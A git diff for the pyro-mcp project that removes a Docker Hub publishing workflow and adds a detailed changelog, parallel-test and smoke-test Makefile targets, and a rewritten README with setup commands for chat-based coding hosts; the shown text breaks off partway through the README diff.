diff --git a/.github/workflows/publish-environments.yml b/.github/workflows/publish-environments.yml deleted file mode 100644 index e46446b..0000000 --- a/.github/workflows/publish-environments.yml +++ /dev/null @@ -1,45 +0,0 @@ -name: Publish Environments - -on: - workflow_dispatch: - release: - types: - - published - -permissions: - contents: read - -concurrency: - group: publish-environments-${{ github.ref }} - cancel-in-progress: false - -jobs: - publish: - runs-on: ubuntu-24.04 - env: - UV_CACHE_DIR: .uv-cache - OCI_REGISTRY_USERNAME: ${{ secrets.DOCKERHUB_USERNAME }} - OCI_REGISTRY_PASSWORD: ${{ secrets.DOCKERHUB_TOKEN }} - steps: - - name: Check out source - uses: actions/checkout@v4 - - - name: Set up Python - uses: actions/setup-python@v5 - with: - python-version: "3.12" - - - name: Set up uv - uses: astral-sh/setup-uv@v6 - - - name: Install project dependencies - run: make setup - - - name: Run project checks - run: make check - - - name: Build real runtime inputs - run: make runtime-materialize - - - name: Publish official environments to Docker Hub - run: make runtime-publish-official-environments-oci diff --git a/AGENTS.md b/AGENTS.md index f78972a..bc441b4 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -30,10 +30,11 @@ This repository ships `pyro-mcp`, an MCP-compatible package for ephemeral VM lif - Use `make doctor` to inspect bundled runtime integrity and host prerequisites. - Network-enabled flows require host privilege for TAP/NAT setup; the current implementation uses `sudo -n` for `ip`, `nft`, and `iptables` when available. - If you need full log payloads from the Ollama demo, use `make ollama-demo OLLAMA_DEMO_FLAGS=-v`. +- `pyro run` now defaults to `1 vCPU / 1024 MiB`, human-readable output, and fail-closed guest execution unless `--allow-host-compat` is passed. - After heavy runtime work, reclaim local space with `rm -rf build` and `git lfs prune`. - The pre-migration `pre-lfs-*` tag is local backup material only; do not push it or it will keep the old giant blobs reachable. - Public contract documentation lives in `docs/public-contract.md`. -- Official Docker Hub publication workflow lives in `.github/workflows/publish-environments.yml`. +- Official Docker Hub publication is performed locally with `make runtime-publish-official-environments-oci`. ## Quality Gates diff --git a/CHANGELOG.md b/CHANGELOG.md new file mode 100644 index 0000000..7d099a1 --- /dev/null +++ b/CHANGELOG.md @@ -0,0 +1,328 @@ +# Changelog + +All notable user-visible changes to `pyro-mcp` are documented here. + +## 4.5.0 + +- Added `pyro prepare` as the machine-level warmup path for the daily local + loop, with cached reuse when the runtime, catalog, and environment state are + already warm. +- Extended `pyro doctor` with daily-loop readiness output so users can see + whether the machine is cold, warm, or stale for `debian:12` before they + reconnect a chat host. +- Added `make smoke-daily-loop` to prove the warmed repro/fix/reset path end + to end on a real guest-backed machine. + +## 4.4.0 + +- Added explicit named MCP/server modes for the main workspace workflows: + `repro-fix`, `inspect`, `cold-start`, and `review-eval`. +- Kept the generic no-mode `workspace-core` path available as the escape hatch, + while making named modes the first user-facing story across help text, host + helpers, and the recipe docs. +- Aligned the shared use-case smoke runner with those modes so the repro/fix + and cold-start flows now prove a mode-backed happy path instead of only the + generic profile path. + +## 4.3.0 + +- Added `pyro workspace summary`, `Pyro.summarize_workspace()`, and MCP + `workspace_summary` so users and chat hosts can review a concise view of the + current workspace session since the last reset. +- Added a lightweight review-event log for edits, syncs, exports, service + lifecycle, and snapshot activity without duplicating the command journal. +- Updated the main workspace walkthroughs and review/eval recipe so + `workspace summary` is the first review surface before dropping down to raw + diffs, logs, and exported files. + +## 4.2.0 + +- Added host bootstrap and repair helpers with `pyro host connect`, + `pyro host print-config`, `pyro host doctor`, and `pyro host repair` for the + supported Claude Code, Codex, and OpenCode flows. +- Repositioned the docs and examples so supported hosts now start from the + helper flow first, while keeping raw `pyro mcp serve` commands as the + underlying MCP entrypoint and advanced fallback. +- Added deterministic host-helper coverage so the shipped helper commands and + OpenCode config snippet stay aligned with the canonical `pyro mcp serve` + command shape. + +## 4.1.0 + +- Added project-aware MCP startup so bare `pyro mcp serve` from a repo root can + auto-detect the current Git checkout and let `workspace_create` omit + `seed_path` safely. +- Added explicit fallback startup flags for chat hosts that do not preserve the + server working directory: `--project-path`, `--repo-url`, `--repo-ref`, and + `--no-project-source`. +- Extended workspace seed metadata with startup origin fields so chat-facing + workspace creation can show whether a workspace came from a manual seed path, + the current project, or a clean cloned repo source. + +## 4.0.0 + +- Flipped the default MCP/server profile from `workspace-full` to + `workspace-core`, so bare `pyro mcp serve`, `create_server()`, and + `Pyro.create_server()` now match the recommended narrow chat-host path. +- Rewrote MCP-facing docs and shipped host-specific examples so the normal + setup path no longer needs an explicit `--profile workspace-core` just to + get the default behavior. +- Added migration guidance for hosts that relied on the previous implicit full + surface: they now need `--profile workspace-full` or + `create_server(profile=\"workspace-full\")`. +## 3.11.0 + +- Added first-class host-specific MCP onramps for Claude Code, Codex, and + OpenCode so major chat-host users can copy one exact setup example instead of + translating the generic MCP config by hand. +- Reordered the main integration docs and examples so host-specific MCP setup + appears before the generic `mcpServers` fallback, while keeping + `workspace-core` as the recommended first profile everywhere user-facing. +- Kept Claude Desktop and Cursor as generic fallback examples instead of the + primary onramp path. + +## 3.10.0 + +- Aligned the five guest-backed workspace smoke scenarios with the recipe docs + they advertise, so the smoke pack now follows the documented canonical user + paths instead of mixing in harness-only CLI formatting checks. +- Fixed the repro-plus-fix smoke to use the structured SDK patch flow directly, + removing its dependency on brittle human `[workspace-patch] ...` output. +- Promoted `make smoke-use-cases` in the docs as the trustworthy guest-backed + verification path for the advertised workspace workflows. + +## 3.9.0 + +- Added `--content-only` to `pyro workspace file read` and + `pyro workspace disk read` so copy-paste flows and chat transcripts can emit + only file content without the human summary footer. +- Polished default human read output so content without a trailing newline is + still separated cleanly from the summary line in merged terminal logs. +- Updated the stable walkthroughs and contract docs to use content-only reads + where plain file content is the intended output. + +## 3.8.0 + +- Repositioned the MCP/chat-host onramp so `workspace-core` is clearly the + recommended first profile across `pyro mcp serve --help`, the README, install + docs, first-run docs, and shipped MCP config examples. +- Kept `workspace-full` as the default for `3.x` compatibility, but rewrote the + public guidance to frame it as the advanced/compatibility surface instead of + the default recommendation. +- Promoted the `workspace-core` OpenAI example and added a minimal chat-host + quickstart near the top-level product docs so new integrators no longer need + to read deep integration docs before choosing the right profile. + +## 3.7.0 + +- Added CLI handoff shortcuts with `pyro workspace create --id-only` and + `pyro workspace shell open --id-only` so shell scripts and walkthroughs can + capture identifiers without JSON parsing glue. +- Added file-backed text inputs for `pyro workspace file write --text-file` and + `pyro workspace patch apply --patch-file`, keeping the existing `--text` and + `--patch` behavior stable while removing `$(cat ...)` shell expansion from + the canonical flows. +- Rewrote the top workspace walkthroughs, CLI help examples, and roadmap/docs + around the new shortcut flags, and updated the real guest-backed repro/fix + smoke to exercise a file-backed patch input through the CLI. + +## 3.6.0 + +- Added `docs/use-cases/` with five concrete workspace recipes for cold-start validation, + repro-plus-fix loops, parallel workspaces, untrusted inspection, and review/eval workflows. +- Added real guest-backed smoke packs for those stories with `make smoke-use-cases` plus one + `make smoke-...` target per scenario, all backed by the shared + `scripts/workspace_use_case_smoke.py` runner. +- Updated the main docs so the stable workspace walkthrough now points directly at the recipe set + and the smoke packs as the next step after first-run validation. + +## 3.5.0 + +- Added chat-friendly shell reads with `--plain` and `--wait-for-idle-ms` across the CLI, + Python SDK, and MCP server so PTY sessions can be fed back into a chat model without + client-side ANSI cleanup. +- Kept raw cursor-based shell reads intact for advanced clients while adding manager-side + output rendering and idle batching on top of the existing guest/backend shell transport. +- Updated the stable shell examples and docs to recommend `workspace shell read --plain + --wait-for-idle-ms 300` for model-facing interactive loops. + +## 3.4.0 + +- Added stable MCP/server tool profiles with `vm-run`, `workspace-core`, and + `workspace-full` so chat hosts can expose only the right model-facing surface. +- Added `--profile` to `pyro mcp serve` plus matching `profile=` support on + `Pyro.create_server()` and the package-level `create_server()` factory. +- Added canonical `workspace-core` integration examples for OpenAI Responses + and MCP client configuration, and narrowed the `workspace-core` schemas so + secrets, network policy, shells, services, snapshots, and disk tools stay out + of the default persistent chat profile. + +## 3.3.0 + +- Added first-class workspace naming and discovery across the CLI, Python SDK, and MCP server + with `pyro workspace create --name/--label`, `pyro workspace list`, `pyro workspace update`, + `Pyro.list_workspaces()`, `Pyro.update_workspace()`, and the matching `workspace_list` / + `workspace_update` MCP tools. +- Added persisted `name`, key/value `labels`, and `last_activity_at` metadata to workspace create, + status, reset, and update payloads, and surfaced compact workspace summaries from + `workspace list`. +- Tracked `last_activity_at` on real workspace mutations so humans and chat-driven agents can + resume the most recently used workspace without managing opaque IDs out of band. + +## 3.2.0 + +- Added model-native live workspace file operations across the CLI, Python SDK, and MCP server + with `workspace file list|read|write` so agents can inspect and edit text files without shell + quoting tricks or host-side temp-file glue. +- Added `workspace patch apply` for explicit unified text diff application under `/workspace`, + with supported add/modify/delete patch forms and clear recovery guidance via `workspace reset`. +- Kept file operations scoped to started workspaces and `/workspace`, while preserving the existing + diff/export/snapshot/service/shell model around the stable workspace product. + +## 3.1.0 + +- Added explicit workspace lifecycle stop/start operations across the CLI, Python SDK, and MCP + server so a persistent workspace can be paused and resumed without resetting `/workspace`, + snapshots, or command history. +- Added secondary stopped-workspace disk tools with raw ext4 export plus offline `disk list` and + `disk read` inspection for guest-backed workspaces. +- Scrubbed guest runtime-only paths such as `/run/pyro-secrets`, `/run/pyro-shells`, and + `/run/pyro-services` before stopped-workspace disk export and offline inspection so those tools + stay secondary to the stable workspace product without leaking runtime-only state. + +## 3.0.0 + +- Promoted the workspace-first product surface to stable across the CLI, Python SDK, and MCP + server, with `pyro run` retained as the stable one-shot entrypoint. +- Repositioned the main docs, help text, examples, and walkthrough assets around the stable + workspace path: create, sync, exec or shell, services, snapshots/reset, diff/export, and + delete. +- Froze the `3.x` public contract around the current workspace surface without introducing new + runtime capability in this release. + +## 2.10.0 + +- Replaced the workspace-level boolean network toggle with explicit workspace network policies: + `off`, `egress`, and `egress+published-ports`. +- Added localhost-only published TCP ports for workspace services across the CLI, Python SDK, and + MCP server, including returned host/guest port metadata on service start, list, and status. +- Kept published ports attached to services rather than `/workspace` itself, so host probing works + without changing workspace diff, export, shell, or reset semantics. + +## 2.9.0 + +- Added explicit workspace secrets across the CLI, Python SDK, and MCP server with + `pyro workspace create --secret/--secret-file`, `Pyro.create_workspace(..., secrets=...)`, and + the matching `workspace_create` MCP inputs. +- Added per-call secret-to-environment mapping for `workspace exec`, `workspace shell open`, and + `workspace service start`, with secret values redacted from command output, shell reads, service + logs, and persisted workspace logs. +- Kept secret-backed workspaces guest-only and fail-closed while re-materializing persisted secret + files outside `/workspace` across workspace creation and reset. + +## 2.8.0 + +- Added explicit named workspace snapshots across the CLI, Python SDK, and MCP server with + `pyro workspace snapshot *`, `Pyro.create_snapshot()` / `list_snapshots()` / + `delete_snapshot()`, and the matching `snapshot_*` MCP tools. +- Added `pyro workspace reset` and `Pyro.reset_workspace()` so a workspace can recreate its full + sandbox from the immutable baseline or one named snapshot while keeping the same identity. +- Made reset a full-sandbox recovery path that clears command history, shells, and services while + preserving the workspace spec, named snapshots, and immutable baseline. + +## 2.7.0 + +- Added first-class workspace services across the CLI, Python SDK, and MCP server with + `pyro workspace service *`, `Pyro.start_service()` / `list_services()` / `status_service()` / + `logs_service()` / `stop_service()`, and the matching `service_*` MCP tools. +- Added typed readiness probes for workspace services with file, TCP, HTTP, and command checks so + long-running processes can be started and inspected without relying on shell-fragile flows. +- Kept service state and logs outside `/workspace`, and surfaced aggregate service counts from + `workspace status` without polluting workspace diff or export semantics. + +## 2.6.0 + +- Added explicit host-out workspace operations across the CLI, Python SDK, and MCP server with + `pyro workspace export`, `Pyro.export_workspace()`, `pyro workspace diff`, + `Pyro.diff_workspace()`, and the matching `workspace_export` / `workspace_diff` MCP tools. +- Captured an immutable create-time baseline for every new workspace so later `workspace diff` + compares the live `/workspace` tree against that original seed state. +- Kept export and diff separate from command execution and shell state so workspaces can mutate, + be inspected, and copy results back to the host without affecting command logs or shell sessions. + +## 2.5.0 + +- Added persistent PTY shell sessions across the CLI, Python SDK, and MCP server with + `pyro workspace shell *`, `Pyro.open_shell()` / `read_shell()` / `write_shell()` / + `signal_shell()` / `close_shell()`, and `shell_*` MCP tools. +- Kept interactive shells separate from `workspace exec`, with cursor-based merged output reads + and explicit close/signal operations for long-lived workspace sessions. +- Updated the bundled guest agent and mock backend so shell sessions persist across separate + calls and are cleaned up automatically by `workspace delete`. + +## 2.4.0 + +- Replaced the public persistent-workspace surface from `task_*` to `workspace_*` across the CLI, + Python SDK, and MCP server in one clean cut with no compatibility aliases. +- Renamed create-time seeding from `source_path` to `seed_path` for workspace creation while keeping + later `workspace sync push` imports on `source_path`. +- Switched persisted local records from `tasks/*/task.json` to `workspaces/*/workspace.json` and + updated the main docs/examples to the workspace-first language. + +## 2.3.0 + +- Added `task sync push` across the CLI, Python SDK, and MCP server so started task workspaces can + import later host-side directory or archive content without being recreated. +- Reused the existing safe archive import path with an explicit destination under `/workspace`, + including host-side and guest-backed task support. +- Documented sync as a non-atomic update path in `2.3.0`, with delete-and-recreate as the recovery + path if a sync fails partway through. + +## 2.2.0 + +- Added seeded task creation across the CLI, Python SDK, and MCP server with an optional + `source_path` for host directories and `.tar` / `.tar.gz` / `.tgz` archives. +- Seeded task workspaces now persist `workspace_seed` metadata so later status calls report how + `/workspace` was initialized. +- Reused the task workspace model from `2.1.0` while adding the first explicit host-to-task + content import path for repeated command workflows. + +## 2.1.0 + +- Added the first persistent task workspace alpha across the CLI, Python SDK, and MCP server. +- Shipped `task create`, `task exec`, `task status`, `task logs`, and `task delete` as an additive + surface alongside the existing one-shot VM contract. +- Made task workspaces persistent across separate CLI/SDK/MCP processes by storing task records on + disk under the runtime base directory. +- Added per-task command journaling so repeated workspace commands can be inspected through + `pyro task logs` or the matching SDK/MCP methods. + +## 2.0.1 + +- Fixed the default `pyro env pull` path so empty local profile directories no longer produce + broken cached installs or contradictory "Pulled" / "not installed" states. +- Hardened cache inspection and repair so broken environment symlinks are treated as uninstalled + and repaired on the next pull. +- Added human-mode phase markers for `pyro env pull` and `pyro run` to make longer guest flows + easier to follow from the CLI. +- Corrected the Python lifecycle example and docs to match the current `exec_vm` / `vm_exec` + auto-clean semantics. + +## 2.0.0 + +- Made guest execution fail closed by default; host compatibility execution now requires + explicit opt-in with `--allow-host-compat` or `allow_host_compat=True`. +- Switched the main CLI commands to human-readable output by default and kept `--json` + for structured output. +- Added default sizing of `1 vCPU / 1024 MiB` across the CLI, Python SDK, and MCP tools. +- Unified environment cache resolution across `pyro`, `Pyro`, and `pyro doctor`. +- Kept the stable environment-first contract centered on `vm_run`, `pyro run`, and + curated OCI-published environments. + +## 1.0.0 + +- Shipped the first stable public `pyro` CLI, `Pyro` SDK, and MCP server contract. +- Replaced the old bundled-profile model with curated named environments. +- Switched distribution to a thin Python package plus official OCI environment artifacts. +- Published the initial official environment catalog on public Docker Hub. +- Added first-party environment pull, inspect, prune, and one-shot run flows. diff --git a/Makefile b/Makefile index c1ccc4b..465a2ab 100644 --- a/Makefile +++ b/Makefile @@ -1,5 +1,7 @@ PYTHON ?= uv run python UV_CACHE_DIR ?= .uv-cache +PYTEST_WORKERS ?= $(shell sh -c 'n=$$(getconf _NPROCESSORS_ONLN 2>/dev/null || nproc 2>/dev/null || echo 2); if [ "$$n" -gt 8 ]; then n=8; fi; if [ "$$n" -lt 2 ]; then echo 1; else echo $$n; fi') +PYTEST_FLAGS ?= -n $(PYTEST_WORKERS) OLLAMA_BASE_URL ?= http://localhost:11434/v1 OLLAMA_MODEL ?= llama3.2:3b OLLAMA_DEMO_FLAGS ?= @@ -14,8 +16,11 @@ RUNTIME_ENVIRONMENTS ?= debian:12-base debian:12 debian:12-build PYPI_DIST_DIR ?= dist TWINE_USERNAME ?= __token__ PYPI_REPOSITORY_URL ?= +USE_CASE_ENVIRONMENT ?= debian:12 +USE_CASE_SMOKE_FLAGS ?= +DAILY_LOOP_ENVIRONMENT ?= debian:12 -.PHONY: help setup lint format typecheck test check dist-check pypi-publish demo network-demo doctor ollama ollama-demo run-server install-hooks runtime-bundle runtime-binaries runtime-kernel runtime-rootfs runtime-agent runtime-validate runtime-manifest runtime-sync runtime-clean runtime-fetch-binaries runtime-build-kernel-real runtime-build-rootfs-real runtime-materialize runtime-export-environment-oci runtime-export-official-environments-oci runtime-publish-environment-oci runtime-publish-official-environments-oci runtime-boot-check runtime-network-check +.PHONY: help setup lint format typecheck test check dist-check pypi-publish demo network-demo doctor ollama ollama-demo run-server install-hooks smoke-daily-loop smoke-use-cases smoke-cold-start-validation smoke-repro-fix-loop smoke-parallel-workspaces smoke-untrusted-inspection smoke-review-eval runtime-bundle runtime-binaries runtime-kernel runtime-rootfs runtime-agent runtime-validate runtime-manifest runtime-sync runtime-clean runtime-fetch-binaries runtime-build-kernel-real runtime-build-rootfs-real runtime-materialize runtime-export-environment-oci runtime-export-official-environments-oci runtime-publish-environment-oci runtime-publish-official-environments-oci runtime-boot-check runtime-network-check help: @printf '%s\n' \ @@ -25,13 +30,20 @@ help: ' lint Run Ruff lint checks' \ ' format Run Ruff formatter' \ ' typecheck Run mypy' \ - ' test Run pytest' \ + ' test Run pytest in parallel when multiple cores are available' \ ' check Run lint, typecheck, and tests' \ ' dist-check Smoke-test the installed pyro CLI and environment UX' \ ' pypi-publish Build, validate, and upload the package to PyPI' \ ' demo Run the deterministic VM demo' \ ' network-demo Run the deterministic VM demo with guest networking enabled' \ ' doctor Show runtime and host diagnostics' \ + ' smoke-daily-loop Run the real guest-backed prepare plus reset daily-loop smoke' \ + ' smoke-use-cases Run all real guest-backed workspace use-case smokes' \ + ' smoke-cold-start-validation Run the cold-start repo validation smoke' \ + ' smoke-repro-fix-loop Run the repro-plus-fix loop smoke' \ + ' smoke-parallel-workspaces Run the parallel isolated workspaces smoke' \ + ' smoke-untrusted-inspection Run the unsafe or untrusted inspection smoke' \ + ' smoke-review-eval Run the review and evaluation workflow smoke' \ ' ollama-demo Run the network-enabled Ollama lifecycle demo' \ ' run-server Run the MCP server' \ ' install-hooks Install pre-commit hooks' \ @@ -68,18 +80,21 @@ typecheck: uv run mypy test: - uv run pytest + uv run pytest $(PYTEST_FLAGS) check: lint typecheck test dist-check: - .venv/bin/pyro --version - .venv/bin/pyro --help >/dev/null - .venv/bin/pyro mcp --help >/dev/null - .venv/bin/pyro run --help >/dev/null - .venv/bin/pyro env list >/dev/null - .venv/bin/pyro env inspect debian:12 >/dev/null - .venv/bin/pyro doctor >/dev/null + uv run python -m pyro_mcp.cli --version + uv run python -m pyro_mcp.cli --help >/dev/null + uv run python -m pyro_mcp.cli prepare --help >/dev/null + uv run python -m pyro_mcp.cli host --help >/dev/null + uv run python -m pyro_mcp.cli host doctor >/dev/null + uv run python -m pyro_mcp.cli mcp --help >/dev/null + uv run python -m pyro_mcp.cli run --help >/dev/null + uv run python -m pyro_mcp.cli env list >/dev/null + uv run python -m pyro_mcp.cli env inspect debian:12 >/dev/null + uv run python -m pyro_mcp.cli doctor --environment debian:12 >/dev/null pypi-publish: @if [ -z "$$TWINE_PASSWORD" ]; then \ @@ -104,6 +119,27 @@ network-demo: doctor: uv run pyro doctor +smoke-daily-loop: + uv run python scripts/daily_loop_smoke.py --environment "$(DAILY_LOOP_ENVIRONMENT)" + +smoke-use-cases: + uv run python scripts/workspace_use_case_smoke.py --scenario all --environment "$(USE_CASE_ENVIRONMENT)" $(USE_CASE_SMOKE_FLAGS) + +smoke-cold-start-validation: + uv run python scripts/workspace_use_case_smoke.py --scenario cold-start-validation --environment "$(USE_CASE_ENVIRONMENT)" $(USE_CASE_SMOKE_FLAGS) + +smoke-repro-fix-loop: + uv run python scripts/workspace_use_case_smoke.py --scenario repro-fix-loop --environment "$(USE_CASE_ENVIRONMENT)" $(USE_CASE_SMOKE_FLAGS) + +smoke-parallel-workspaces: + uv run python scripts/workspace_use_case_smoke.py --scenario parallel-workspaces --environment "$(USE_CASE_ENVIRONMENT)" $(USE_CASE_SMOKE_FLAGS) + +smoke-untrusted-inspection: + uv run python scripts/workspace_use_case_smoke.py --scenario untrusted-inspection --environment "$(USE_CASE_ENVIRONMENT)" $(USE_CASE_SMOKE_FLAGS) + +smoke-review-eval: + uv run python scripts/workspace_use_case_smoke.py --scenario review-eval --environment "$(USE_CASE_ENVIRONMENT)" $(USE_CASE_SMOKE_FLAGS) + ollama: ollama-demo ollama-demo: diff --git a/README.md b/README.md index 9048935..06956d1 100644 --- a/README.md +++ b/README.md @@ -1,37 +1,255 @@ # pyro-mcp -`pyro-mcp` runs commands inside ephemeral Firecracker microVMs using curated Linux environments such as `debian:12`. +`pyro-mcp` is a disposable MCP workspace for chat-based coding agents such as +Claude Code, Codex, and OpenCode. -It exposes the same runtime in three public forms: +It is built for Linux `x86_64` hosts with working KVM. The product path is: -- the `pyro` CLI -- the Python SDK via `from pyro_mcp import Pyro` -- an MCP server so LLM clients can call VM tools directly +1. prove the host works +2. connect a chat host over MCP +3. let the agent work inside a disposable workspace +4. validate the workflow with the recipe-backed smoke pack + +`pyro-mcp` currently has no users. Expect breaking changes while this chat-host +path is still being shaped. + +This repo is not trying to be a generic VM toolkit, a CI runner, or an +SDK-first platform. + +[![PyPI version](https://img.shields.io/pypi/v/pyro-mcp.svg)](https://pypi.org/project/pyro-mcp/) ## Start Here -- Install: [docs/install.md](docs/install.md) -- Host requirements: [docs/host-requirements.md](docs/host-requirements.md) -- Integration targets: [docs/integrations.md](docs/integrations.md) +- Install and zero-to-hero path: [docs/install.md](docs/install.md) +- First run transcript: [docs/first-run.md](docs/first-run.md) +- Chat host integrations: [docs/integrations.md](docs/integrations.md) +- Use-case recipes: [docs/use-cases/README.md](docs/use-cases/README.md) +- Vision: [docs/vision.md](docs/vision.md) - Public contract: [docs/public-contract.md](docs/public-contract.md) +- Host requirements: [docs/host-requirements.md](docs/host-requirements.md) - Troubleshooting: [docs/troubleshooting.md](docs/troubleshooting.md) +- Stable workspace walkthrough GIF: [docs/assets/workspace-first-run.gif](docs/assets/workspace-first-run.gif) +- Terminal walkthrough GIF: [docs/assets/first-run.gif](docs/assets/first-run.gif) +- What's new in 4.5.0: [CHANGELOG.md#450](CHANGELOG.md#450) +- PyPI package: [pypi.org/project/pyro-mcp](https://pypi.org/project/pyro-mcp/) -## Public UX +## Who It's For -Primary install/run path: +- Claude Code users who want disposable workspaces instead of running directly + on the host +- Codex users who want an MCP-backed sandbox for repo setup, bug fixing, and + evaluation loops +- OpenCode users who want the same disposable workspace model +- people evaluating repo setup, test, and app-start workflows from a chat + interface on a clean machine + +If you want a general VM platform, a queueing system, or a broad SDK product, +this repo is intentionally biased away from that story. + +## Quickstart + +Use either of these equivalent quickstart paths: + +```bash +# Package without install +python -m pip install uv +uvx --from pyro-mcp pyro doctor +uvx --from pyro-mcp pyro prepare debian:12 +uvx --from pyro-mcp pyro run debian:12 -- git --version +``` + +![Quickstart walkthrough](docs/assets/first-run.gif) + +```bash +# Already installed +pyro doctor +pyro prepare debian:12 +pyro run debian:12 -- git --version +``` + +From a repo checkout, replace `pyro` with `uv run pyro`. + +What success looks like: + +```bash +Platform: linux-x86_64 +Runtime: PASS +Catalog version: 4.4.0 +... +[pull] phase=install environment=debian:12 +[pull] phase=ready environment=debian:12 +Pulled: debian:12 +... +[run] phase=create environment=debian:12 +[run] phase=start vm_id=... +[run] phase=execute vm_id=... +[run] environment=debian:12 execution_mode=guest_vsock exit_code=0 duration_ms=... +git version ... +``` + +The first pull downloads an OCI environment from public Docker Hub, requires +outbound HTTPS access to `registry-1.docker.io`, and needs local cache space +for the guest image. `pyro prepare debian:12` performs that install step +automatically, then proves create, exec, reset, and delete on one throwaway +workspace so the daily loop is warm before the chat host connects. + +## Chat Host Quickstart + +After the quickstart works, make the daily loop explicit before you connect the +chat host: + +```bash +uvx --from pyro-mcp pyro doctor --environment debian:12 +uvx --from pyro-mcp pyro prepare debian:12 +``` + +Then connect a chat host in one named mode. Use the helper flow first: + +```bash +uvx --from pyro-mcp pyro host connect codex --mode repro-fix +uvx --from pyro-mcp pyro host connect codex --mode inspect +uvx --from pyro-mcp pyro host connect claude-code --mode cold-start +uvx --from pyro-mcp pyro host connect claude-code --mode review-eval +uvx --from pyro-mcp pyro host print-config opencode --mode repro-fix +``` + +If setup drifts or you want to inspect it first: + +```bash +uvx --from pyro-mcp pyro host doctor +uvx --from pyro-mcp pyro host repair claude-code +uvx --from pyro-mcp pyro host repair codex +uvx --from pyro-mcp pyro host repair opencode +``` + +Those helpers wrap the same `pyro mcp serve` entrypoint. Use a named mode when +one workflow already matches the job. Fall back to the generic no-mode path +when the mode feels too narrow. + +Mode examples: + +```bash +uvx --from pyro-mcp pyro mcp serve --mode repro-fix +uvx --from pyro-mcp pyro mcp serve --mode inspect +uvx --from pyro-mcp pyro mcp serve --mode cold-start +uvx --from pyro-mcp pyro mcp serve --mode review-eval +``` + +Generic escape hatch: ```bash uvx --from pyro-mcp pyro mcp serve ``` -Installed package path: +From a repo root, the generic path auto-detects the current Git checkout and +lets the first `workspace_create` omit `seed_path`. If the host does not +preserve the server working directory, use: ```bash -pyro mcp serve +uvx --from pyro-mcp pyro host connect codex --project-path /abs/path/to/repo +uvx --from pyro-mcp pyro mcp serve --project-path /abs/path/to/repo ``` -The public user-facing interface is `pyro` and `Pyro`. -`Makefile` targets are contributor conveniences for this repository and are not the primary product UX. +If you are starting outside a local checkout, use a clean clone source: + +```bash +uvx --from pyro-mcp pyro host connect codex --repo-url https://github.com/example/project.git +uvx --from pyro-mcp pyro mcp serve --repo-url https://github.com/example/project.git +``` + +Copy-paste host-specific starts: + +- Claude Code: [examples/claude_code_mcp.md](examples/claude_code_mcp.md) +- Codex: [examples/codex_mcp.md](examples/codex_mcp.md) +- OpenCode: [examples/opencode_mcp_config.json](examples/opencode_mcp_config.json) +- Generic MCP config: [examples/mcp_client_config.md](examples/mcp_client_config.md) + +Claude Code cold-start or review-eval: + +```bash +claude mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --mode cold-start +``` + +Codex repro-fix or inspect: + +```bash +codex mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --mode repro-fix +``` + +OpenCode `opencode.json` snippet: + +```json +{ + "mcp": { + "pyro": { + "type": "local", + "enabled": true, + "command": ["uvx", "--from", "pyro-mcp", "pyro", "mcp", "serve", "--mode", "repro-fix"] + } + } +} +``` + +If OpenCode launches the server from an unexpected cwd, use +`pyro host print-config opencode --project-path /abs/path/to/repo` or add +`"--project-path", "/abs/path/to/repo"` after `"serve"` in the same command +array. + +If `pyro-mcp` is already installed, replace `uvx --from pyro-mcp pyro` with +`pyro` in the same command or config shape. + +Use the generic no-mode path when the named mode feels too narrow. Move to +`--profile workspace-full` only when the chat truly needs shells, services, +snapshots, secrets, network policy, or disk tools. + +## Zero To Hero + +1. Validate the host with `pyro doctor`. +2. Warm the machine-level daily loop with `pyro prepare debian:12`. +3. Prove guest execution with `pyro run debian:12 -- git --version`. +4. Connect Claude Code, Codex, or OpenCode with one named mode such as + `pyro host connect codex --mode repro-fix`, then fall back to raw + `pyro mcp serve --mode ...` or the generic no-mode path when needed. +5. Start with one recipe from [docs/use-cases/README.md](docs/use-cases/README.md). + `repro-fix` is the shortest chat-first mode and story. +6. Use `workspace reset` as the normal retry step inside that warmed loop. +7. Use `make smoke-use-cases` as the trustworthy guest-backed verification path + for the advertised workflows. + +That is the intended user journey. The terminal commands exist to validate and +debug that chat-host path, not to replace it as the main product story. + +## Manual Terminal Workspace Flow + +If you want to understand what the agent gets inside the sandbox, or debug a +recipe outside the chat host, use the terminal companion flow below: + +```bash +uv tool install pyro-mcp +WORKSPACE_ID="$(pyro workspace create debian:12 --seed-path ./repo --name repro-fix --label issue=123 --id-only)" +pyro workspace list +pyro workspace sync push "$WORKSPACE_ID" ./changes +pyro workspace file read "$WORKSPACE_ID" note.txt --content-only +pyro workspace patch apply "$WORKSPACE_ID" --patch-file fix.patch +pyro workspace exec "$WORKSPACE_ID" -- cat note.txt +pyro workspace summary "$WORKSPACE_ID" +pyro workspace snapshot create "$WORKSPACE_ID" checkpoint +pyro workspace reset "$WORKSPACE_ID" --snapshot checkpoint +pyro workspace export "$WORKSPACE_ID" note.txt --output ./note.txt +pyro workspace delete "$WORKSPACE_ID" +``` + +Add `workspace-full` only when the chat or your manual debugging loop really +needs: + +- persistent PTY shells +- long-running services and readiness probes +- guest networking and published ports +- secrets +- stopped-workspace disk inspection + +The five recipe docs show when those capabilities are justified: +[docs/use-cases/README.md](docs/use-cases/README.md) ## Official Environments @@ -41,145 +259,10 @@ Current official environments in the shipped catalog: - `debian:12-base` - `debian:12-build` -The package ships the embedded Firecracker runtime and a package-controlled environment catalog. -Official environments are pulled as OCI artifacts from public Docker Hub repositories into a local -cache on first use or through `pyro env pull`. -End users do not need registry credentials to pull or run official environments. - -## CLI - -List available environments: - -```bash -pyro env list -``` - -Prefetch one environment: - -```bash -pyro env pull debian:12 -``` - -Run one command in an ephemeral VM: - -```bash -pyro run debian:12 --vcpu-count 1 --mem-mib 1024 -- git --version -``` - -Run with outbound internet enabled: - -```bash -pyro run debian:12 --vcpu-count 1 --mem-mib 1024 --network -- \ - "git clone --depth 1 https://github.com/octocat/Hello-World.git hello-world && git -C hello-world rev-parse --is-inside-work-tree" -``` - -Show runtime and host diagnostics: - -```bash -pyro doctor -``` - -Run the deterministic demo: - -```bash -pyro demo -pyro demo --network -``` - -Run the Ollama demo: - -```bash -ollama serve -ollama pull llama3.2:3b -pyro demo ollama -``` - -## Python SDK - -```python -from pyro_mcp import Pyro - -pyro = Pyro() -result = pyro.run_in_vm( - environment="debian:12", - command="git --version", - vcpu_count=1, - mem_mib=1024, - timeout_seconds=30, - network=False, -) -print(result["stdout"]) -``` - -Lower-level lifecycle control remains available: - -```python -from pyro_mcp import Pyro - -pyro = Pyro() -created = pyro.create_vm( - 